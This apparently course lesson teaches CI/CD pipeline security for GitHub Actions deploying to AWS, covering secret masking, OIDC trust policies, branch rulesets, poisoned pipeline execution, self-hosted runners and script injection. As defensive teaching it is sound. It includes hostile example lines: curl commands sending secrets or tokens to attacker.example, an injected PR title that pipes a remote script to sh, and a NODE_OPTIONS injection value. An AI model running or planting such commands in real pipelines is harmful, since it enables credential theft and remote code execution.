L57 · CI/CD pipeline security

Module 8: Secure SDLC and Supply Chain · ~20 min · Lesson 57 of 71

🎯 What you'll learn

• Why your pipeline is a production system, and four ways into it
• What secret masking hides and doesn't, and how OIDC removes the stored AWS key
• How rulesets, reviews, CODEOWNERS and signed commits guard main
• How to spot poisoned pipelines, unpinned actions and an over-powered GITHUB_TOKEN

🔥 Why this matters

In March 2025 an attacker moved the version tags of tj-actions/changed-files, an action used by tens of thousands of repos, to a malicious commit (L14 covered the pinning side). It read secrets from runner memory and printed them to build logs, base64-encoded twice so log masking missed them, and public repos' logs are readable by anyone. The victims hadn't changed a line of code.

1. The pipeline is production

A typical deploy workflow (GitHub Actions to AWS in these examples) can push to ECR, assume an AWS role and roll out to EKS. Anyone who can change what that workflow runs can do the same, so the pipeline needs the same care as prod.

 developer ──1. push / PR──▶ GitHub repo ──triggers──▶ workflow
                                 ▲                       │
          2. edit the workflow ──┘                       ▼
             (or a script it runs)              ┌──────────────────┐
                                                │ runner (VM/pod)  │
 3. third-party action ──uses: ────────────────▶│ secrets, token   │
    or dependency                               │ OIDC → AWS role  │
                                                └────────┬─────────┘
 4. steal what's on the runner: secrets, tokens,         │ deploy
    cached creds, the runner itself                      ▼
                                              ECR ──▶ EKS (prod)

The numbers are this lesson's map: who can get code onto main, who controls the workflow, whose code runs inside it, and what a running step can steal. OWASP's Top 10 CI/CD Security Risks (2022) catalogs the same ground.

2. Secrets in pipelines, and the limits of masking

GitHub stores secrets per repository, organization or environment: a named deploy target such as prod with its own required reviewers and allowed branches. Put prod credentials in environment secrets, so a feature-branch workflow can't read them.

When a job uses a secret, the runner masks it: exact matches of the value in the log become ***. GitHub's docs say it also catches common encodings such as base64, but warn that the redaction "is not guaranteed". Masking hides text in one place. It doesn't control who can use the secret:

- run: echo "$DB_PASSWORD"                  # log shows: ***
- run: echo "$DB_PASSWORD" | base64 | base64  # log shows it
- run: echo "$DB_PASSWORD" | rev            # log shows it
- run: curl -d "$DB_PASSWORD" https://attacker.example # no log

Other gaps: pieces of a JSON-blob secret can leak (GitHub advises against structured secrets), values a step creates aren't masked unless you run echo "::add-mask::$TOKEN", and artifacts and caches are never masked. Masking is a seatbelt for accidents, not access control. Fork PRs under pull_request get no secrets at all, and the best secret is one that doesn't exist.

3. OIDC: AWS credentials without a stored key

L19 replaced a stored access key with OIDC federation: GitHub signs a short-lived ID token (L24) describing the job, and AWS STS trades it for temporary role credentials.

 job (needs permissions: id-token: write)
   │ 1. ask GitHub's OIDC provider for a token, aud=sts.amazonaws.com
   ▼
 token: iss=https://token.actions.githubusercontent.com
        sub=repo:example-org/payments-api:environment:prod
   │ 2. AssumeRoleWithWebIdentity(role, token)
   ▼
 AWS STS ── 3. check signature, aud, and the role's sub condition
   │
   ▼ 4. temporary credentials (1 hour by default)
 job deploys; nothing long-lived is stored anywhere

All the security sits in the role's trust policy, and mostly in one line: sub. Its value depends on what triggered the job:

The tight version, for the prod deploy role in account 111122223333:

"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub":
      "repo:example-org/payments-api:environment:prod"
  }
}

The classic mistake is a wildcard, usually added because "the deploy failed on my branch":

"StringLike": {
  "token.actions.githubusercontent.com:sub": "repo:example-org/*"
}

Now every workflow in every org repo, on any branch or PR, can become the prod deployer. repo:example-org/payments-api:* still lets any branch or PR in that repo in, and with no sub condition at all, any repo on GitHub can. (AWS now refuses to create new trust policies for GitHub's provider without a sub condition, but roles created before that change may still lack one: audit them.) Use StringEquals on an exact environment, and allow only main to deploy to it. (L19 notes a newer sub format with numeric IDs for recently created repos: read a real token's claims before you write the condition.)

4. Controlling what reaches main

OIDC trusts environment:prod, which trusts main. So it all rests on who can get code onto main. GitHub protects branches with classic branch protection rules or newer rulesets, which can stack and apply org-wide (features vary by plan). The settings that matter:

• Require approvals (two for sensitive repos), dismiss stale approvals and require approval of the most recent push, so nobody adds a commit after approval (L27's Q4).
• Required status checks: tests and scanners (L54) must pass.
• Block force pushes and deletion, and keep the bypass list short and named.
• Require review from Code Owners. A CODEOWNERS file maps paths to the people who must approve changes to them. The last matching line wins:

# .github/CODEOWNERS
*                           @example-org/payments-devs
/src/main/java/**/auth/     @example-org/appsec
/deploy/                    @example-org/platform
/.github/workflows/         @example-org/platform
/.github/CODEOWNERS         @example-org/platform

The last line matters most: otherwise an author can edit CODEOWNERS to own their own change.

Signed commits (set up in L16's deep dive) prove a commit was made with a key registered to that account, so a stolen push credential can't fake someone else's authorship. A ruleset can require them. A signature says who, never whether anyone reviewed it.

 author ─▶ PR ─▶ checks pass? ─▶ code-owner approves latest push?
                                        │ merge (signed)
                                        ▼
            main ─▶ deploy job ─▶ environment prod (main only,
                                  reviewer approves) ─▶ OIDC ─▶ AWS

5. Poisoned pipeline execution

Poisoned pipeline execution (PPE) means getting your code to run inside someone else's pipeline with their privileges. In direct PPE you edit the workflow file. In indirect PPE you edit something it runs: a Makefile, a test, or the scripts in package.json.

The textbook case is pull_request_target. Unlike pull_request, it runs in the base repo's context, with secrets and a write token, for safe jobs like labeling. It becomes PPE once the job runs the PR's code:

on: pull_request_target             # privileged context
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # PR code
      - run: npm ci && npm test     # runs the PR's package.json
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

A fork adds "pretest": "curl … -d $NPM_TOKEN" and opens a PR. No review is needed: opening it runs the job. The fix: run untrusted code only under pull_request, which has no secrets, and pass results to any privileged workflow as data, never as code. GitHub is narrowing this trigger (since December 2025 it always uses the default branch's workflow file, and it has announced blocking it by default in public repos from December 2026; check the changelog), but neither change helps a private repo that checks out PR code.

6. Shrinking what a bad step can do

Pin actions by commit SHA. A tag like @v45 can move; a full 40-character SHA can't. Write uses: actions/checkout@<full-sha> # v4.2.2 and let Dependabot or Renovate bump both. (GitHub added an org policy in 2025 that can require it.) One catch: a pinned action that itself uses another action's @v1 still pulls moving code. The tj-actions attack reportedly began with a compromised reviewdog action tag.

Give GITHUB_TOKEN least privilege. Each job gets a token for the repo. New repos and orgs default to read-only since February 2023, but older ones may still allow writes. Set it explicitly: nothing at the top, only what each job needs.

🧪 Worked example: hardening payments-api's deploy workflow

Before: on: push (any branch deploys), actions/checkout@v4 and aws-actions/configure-aws-credentials@v4 (moving tags), a static key pair from secrets.AWS_KEY_ID and secrets.AWS_SECRET, and no permissions: block.

After:

on:
  push:
    branches: [main]
permissions: {}                     # token gets nothing by default
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: prod               # main only + reviewer (settings)
    permissions:
      contents: read                # to check out
      id-token: write               # to request the OIDC token
    steps:
      - uses: actions/checkout@<sha> # v4.2.2
        with:
          persist-credentials: false  # don't leave token in .git
      - uses: aws-actions/configure-aws-credentials@<sha> # v4
        with:
          role-to-assume: >-
            arn:aws:iam::111122223333:role/payments-deploy
          aws-region: us-east-1
      - run: ./deploy.sh

With section 3's trust policy (sub = ...:environment:prod), no branch or PR can deploy, and there's no key to leak. <sha> is the full commit SHA of the release you reviewed.

🛠 Try it (optional, ~5 min)

In a clone of a repo you work on (read-only, nothing is changed):

cd ~/code/your-repo
# 1. privileged triggers: read each hit
grep -rn "pull_request_target\|workflow_run" .github/workflows/
# 2. actions not pinned to a 40-hex SHA (local ./ actions excluded)
grep -rhoE "uses: [^ ]+@[^ ]+" .github/workflows/ \
  | grep -vE "@[0-9a-f]{40}$" | sort -u
# 3. workflow files with no permissions: block at all
grep -L "permissions:" .github/workflows/*.y*ml

Lines from (2) are tags someone else can move; files from (3) get default token permissions. Then check Settings → Rules: does .github/workflows/ have a code owner?

🧠 Key takeaways

• Whoever can change what CI runs has CI's access: treat it as production.
• Masking is cosmetic; keep prod secrets in protected environments, or don't have them.
• OIDC trust policies live or die on sub: exact StringEquals on a protected environment, never repo:org/*.
• Rulesets, code-owner review of the latest push and signed commits protect the path to main.
• Never run PR code in pull_request_target; pin actions by SHA; set permissions: per job.

📖 Words to know

⏭ Next time

L58 turns everything so far into a checklist for the next pull request you review, with a sample diff full of planted bugs.

GitHub-hosted runners are fresh VMs, thrown away after each job. Many companies self-host instead, often as pods on EKS, so builds can reach a private EKS API, internal Artifactory or a VPC-only database. That's reasonable, but the runner now sits inside the private network, holding real IAM roles.

What changes when you self-host

• Persistence. A long-lived runner keeps its disk, its ~/.docker/config.json and any background process between jobs. One poisoned job can wait for the next privileged one.
• Reach. The runner can talk to anything its subnet can. On EC2 or a node without IMDS hardening, it can also read the node's instance role (L47, L50).
• Who can schedule work on it. A runner registered at org level is available to every repo the runner group allows. GitHub recommends never using self-hosted runners with public repos, because any fork's PR could run on them.

 job A (feature branch, poisoned)       job B (main, deploys)
   │ 1. drops a script into ~/.bashrc     │
   │    or a fake `docker` on PATH        │
   ▼                                      ▼
 ┌────────── same long-lived runner ─────────────┐
 │ 2. job B runs the fake docker with prod creds │
 └───────────────────────┬───────────────────────┘
                         │ 3. creds sent out
                         ▼
                  attacker.example

Worked example: a safer runner scale set

GitHub's Actions Runner Controller (ARC) runs runner scale sets on Kubernetes. Each runner pod takes one job and is then deleted, which removes the persistence problem. Values for the gha-runner-scale-set Helm chart might look like this (key names from recent ARC releases; check your chart version):

githubConfigUrl: https://github.com/example-org
githubConfigSecret: arc-github-app    # GitHub App, not a PAT
runnerGroup: payments-deployers       # only selected repos
minRunners: 0
maxRunners: 4
template:
  spec:
    serviceAccountName: payments-runner  # Pod Identity → one role
    containers:
      - name: runner
        image: ghcr.io/actions/actions-runner:<pinned>
        command: ["/home/runner/run.sh"]
        securityContext:
          allowPrivilegeEscalation: false

Around it, layer what earlier lessons taught:

1. One scale set per trust level. Runners that deploy to prod should never run PR builds. Restrict the runner group to selected repos (and, on Enterprise plans, selected workflows).
2. Pod Identity scoped to that scale set (L50), and IMDSv2 with a hop limit of 1 on the nodes, so pods can't fall back to the node role (L47).
3. NetworkPolicy egress (L51) to GitHub, ECR, your artifact repo and the EKS API only. The curl in the diagram then fails.
4. No Docker socket, no privileged: true. If builds need images, use a rootless builder. ARC's dind mode runs a privileged sidecar, which is a container escape waiting to happen (L49).

🧠 Extra takeaways

• A self-hosted runner is a server attackers can run code on by design; isolate it like one.
• Use ephemeral runners (ARC scale sets) so nothing survives between jobs.
• Separate runner groups by trust: PR builds and prod deploys never share runners.
• Give runners their own narrow IAM role and block the node's metadata service.
• Never attach self-hosted runners to public repos.

Section 5 covered running an attacker's files. There's a quieter way in that needs no files at all: the text of a PR, an issue or a branch name.

How ${{ }} really works

GitHub evaluates ${{ ... }} expressions before the shell starts, pasting the value straight into the script text. So this step:

- run: echo "Checking PR: ${{ github.event.pull_request.title }}"

with a PR titled fix" && curl -s https://attacker.example/x | sh && echo " becomes this script:

echo "Checking PR: fix" && curl -s https://attacker.example/x \
  | sh && echo ""

The quotes don't protect anything, because they're part of the text the attacker controls. This is script injection: L30's SQL injection, with bash as the interpreter.

Fields an outsider controls include PR and issue titles and bodies, comment bodies, commit messages, author names and emails, and branch names (github.head_ref). Branch names can't contain spaces, but ${IFS} works as one.

A real case

In December 2024 the popular ultralytics Python package was compromised this way: a branch name injected into a pull_request_target workflow ran attacker code in the project's CI. That led to releases 8.3.41 and 8.3.42 on PyPI shipping a crypto miner (public write-ups also describe a poisoned Actions cache in the chain).

Worked example: the fix

Pass untrusted values through environment variables, so the shell treats them as data:

- name: Greet PR
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking PR: $TITLE"     # shell expands a variable

Now the title is just the value of $TITLE. Quote it ("$TITLE") and it can't break out. The same rule applies to actions/github-script. Don't write ${{ }} inside the JavaScript; read the value from process.env or from the context object.

Two related traps:

• Writing untrusted text to $GITHUB_ENV or $GITHUB_OUTPUT. A value with a newline can add extra variables, such as NODE_OPTIONS=--require /tmp/x.js, for every later step.
• Triggers that make it worse. Injection in a pull_request job from a fork only gets a read-only token. In pull_request_target, issue_comment or workflow_run it gets secrets.

Linters catch most of this. actionlint and zizmor both flag ${{ github.event.* }} used inside run:. zizmor also flags unpinned actions, pull_request_target checkouts and missing permissions: (rule names vary by version).

🧠 Extra takeaways

• ${{ }} is text substitution before the shell runs, not a safe variable.
• PR titles, bodies, comments, commit messages and branch names are attacker-controlled input.
• Pass them through env: and use "$VAR" in the script.
• Never write untrusted text to $GITHUB_ENV.
• Add a workflow linter (actionlint, zizmor) to CI for the workflow files themselves.